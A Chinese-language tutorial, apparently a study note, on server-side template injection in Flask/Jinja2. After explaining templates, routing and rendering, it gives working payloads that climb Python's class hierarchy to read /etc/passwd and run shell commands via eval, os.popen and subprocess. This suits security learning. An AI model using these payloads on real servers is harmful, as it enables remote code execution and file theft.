初探SSTI
0x00 SSTI简介
Server-Side Template Injection简称SSTI也就是就是服务器端模板注入;所以SSTI也是注入类漏洞,我们之前也有学过注入类漏洞(SQL注入);此时我们先来
复习一下SQL注入;SQL注入的成因是从输入出获得一个输入;然后将这个输入待到后端的脚本语言进行数据库查询;所以此时我们可以在输入端任意拼接语句然后进行SQL注入;然而SSTI也是获取一个输入,然后在后端的渲染处理上进行语句的拼接,然后执行。此时和SQL注入不同的在于SSTI利用的是模板引擎;比如Python中的jinja2、mako、tornado、django,php中的smarty、twig,java中的jade、velocity。当使用这些框架的渲染函数生成html时,有时候就会出现SSTI
模板引擎:
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
模板语言:是一种被设计来自动生成文档的简单文本格式,在模板语言中,一般都会把一些变量传给模板,替换模板的特定位置上预先定义好的占位变量
0x01 flask框架
路由:此时我们可以看到上面的示例中用到了使用@开头的一串代码:@app1.route(‘/‘),此时我们上面的解释是给app1添加处理函数,其对于url是”/“此时这里涉及到一个叫做路由的概念,此时app1是我们创建的应用对象,/就是路由;如果用户输入了这个地址那么;flask就会调用对应的demo1()函数进行处理;此时称上
面这种为静态路由;而动态路由可以使用变量来代替部分路由地址,在设计动态路由时还可以定义类型
route装饰器路由:
1 | @app.route('/') |
使用route()装饰器告诉flask什么样的url可以触发我们的函数;route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数
1 | @app.route('/') |
此时修改一下
1 | @app.route('/test') |
此时还可以设置动态网址
1 | @app.route("/hello/<username>") |
或则可以使用int型;转换器有下面几种
1 | int 接受整数 |
main入口:
当.py文件被直接运行时,if name==’main’之下的代码块将被运行;当py文件以模板的形式导入时,if name==’main’便不会被运行
1 | if __name__ == '__main__': |
0x02 flask的渲染模板函数
render_template:
函数的第一个参数是模板的文件名;后面的参数都是模板中变量对应的真实值
1 | 使用如下: |
0x03 flask模板渲染
此时我们可以考虑使用render_template()方法来渲染模板;此时我们需要做的就是将模板名和参数传入模板的变量
模板渲染示例:
1 | from flask import render_template |
此时的模板渲染体系,render_template函数渲染的是templates中的模板;此时所谓的模板就是我们自己写的html,里面的参数需要我们根据用户的需求传入动
态变量,下面是flask的目录结构
1 | ├── app.py |
此时我们写入一个index.html到templates文件夹中
1 | <html> |
此时我们可以知道此时有两个参数需要我们进行渲染;分别是titile和user.name;此时我们在app.py中进行渲染
1 | @app.route('/') |
0x04 flask框架SSTI的产生
1 | 此时flask框架中的render_template_string函数在渲染模板中会使用%s来动态的替换字符串,且code是可控的;又因为flask是基于jinja2的,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。所以可以利用此语法,传入参数{{7 * 7}}会发现返回值为49,说明我们输入的表达式被执行了。在Jinja2模板引擎 |
0x05 Python中的类
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是 object ,而object拥有众多的子类。
class:用来查看变量所属的类,根据前面变量的形式可以得到其所属的类;返回值为<type’type’>也是类的实例属性,表示实例对象的类
bases:用来查看类的基类,也可以使用数组索引来查看特定位置。通过这个类可以查看该类的所有父类,该属性返回所有直接父类组成的元组
mro:获取一个类的调用顺序(也可以来获取基类)
base:直接获取基类
有些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类<class’object’>中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。
subclasses:查看当前类的子类组成的列表,即返回基类object的子类
然后我们要做的就是积累一些可以利用的类了,比如python2中的file类可以直接用来读取文件,同时注意python2和python3的区别,可以看到,python3中已经不存在了,我们可以用<class ‘_frozen_importlib_external.FileLoader’>这个类去读取文件。
1 | {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} |
此时python3的版本不同,要利用的类的位置就不同,索引号就不同,我们需要编写一下遍历python环境中类的脚本:
GET型
1 | import requests |
POST型
1 | import requests |
0x06 常用的子类(执行命令类的子类)
HERE WE GO:接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。
1.寻找内建函数eval执行命令
记录一下几个含有eval函数的类
1 | warnings.catch_warnings |
编写遍历脚本查找含有eval的类
payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}+ |
2.寻找os模块执行命令:
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号
payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} |
我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os.wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。
3.寻找popen函数执行命令
首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号
1 | {{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}} |
4.寻找 linecache 函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
首先编写脚本遍历目标Python环境中含有linecache这个函数的子类的索引号
payload:
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}} |
5.寻找 subprocess.Popen 类执行命令
从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入输出错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen 等函数。
首先编写脚本遍历目标Python环境中含有subprocess这个函数的子类的索引号
payload
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
0x07SSTI解题思路
1.先找变量所属的属性(class)
2.找类所属于的基类(bases)
3.找类所属于的子类(subclasses)
此时可以找到有非常多的子类,其中有一个类
1 | <class 'os._warp_close'> |
此时我若是想用这个类
注意:不同版本的索引号是不同的!!!
4.这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
5.此时我们可以看到各种各样的参数方法函数,我们找其中一个可利用的function popen来执行命令
tips:常见的思路就是找类,找类的基类,找基类的子类,然后找可以RCE的模块